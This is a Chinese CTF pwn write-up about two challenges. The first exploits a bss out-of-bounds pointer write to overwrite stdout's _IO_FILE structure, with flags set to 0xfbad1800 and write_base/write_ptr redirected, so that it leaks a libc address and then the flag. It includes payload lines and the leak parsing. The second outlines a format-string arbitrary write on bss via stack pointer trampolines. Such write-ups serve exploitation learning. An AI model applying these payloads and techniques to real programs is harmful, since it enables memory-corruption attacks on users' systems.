IO_2_1_stdin 与 bss_format
IO_2_1_stdin
附件:
bss
数组越界
flag
在内存里,puts
+ 0x16D2E0
的地方(这里F5
之后 + 的不对,不知为何)
防护全开
总结一下,给了个bss
的任意指针写!考虑打stdout
泄露地址
这里第一次接触_IO_FILE
结构,久仰大名了属于是
pwndbg> ptype stdoutstruct _IO_FILE {
type = int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base; // 泄露开始地址
char *_IO_write_ptr; // 泄露结束地址
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
} *
https://blog.csdn.net/qq_41202237/article/details/113845320
贴一下好好说话系列,讲的也很清楚。
首先_flag
的设定需要满足
= 0xFBAD1800 _flags
因为为了泄露出我们需要的地址,需要一些标志位满足判断
再设置下面的成员为0
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
最好再来修改
char *_IO_write_base; // 泄露开始地址
char *_IO_write_ptr; // 泄露结束地址
综上payload
为
'feedback.\n',p64(0xfbad1800)+p64(0x0)*3+b'\x00' b
泄露_IO_2_1_stdin_
,\x00
的设置刚好讲_IO_write_base
低位置0
,刚好可以泄露出_IO_2_1_stdin_
的地址
= u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) _IO_2_1_stdin_addr
遇到puts
或者 printf
输出函数,便会泄露
最后泄露flag
即可
= p64(0xfbad1800)+p64(0x0)*3 + p64(flag_addr) + p64(flag_addr + flag_size) payload
bss_format
格式化字符串,但是存储在bss
上。不能用传统的传地址在栈上完成任意写。
栈的结构如下
此时可以找如ebp
那种指向栈内的指针,先用格式化字符对那个地址任意写,写入我们想修改的地址,再找偏移,对ebp
写入的地址再写入,这样便可达成任意写。栈上跳板。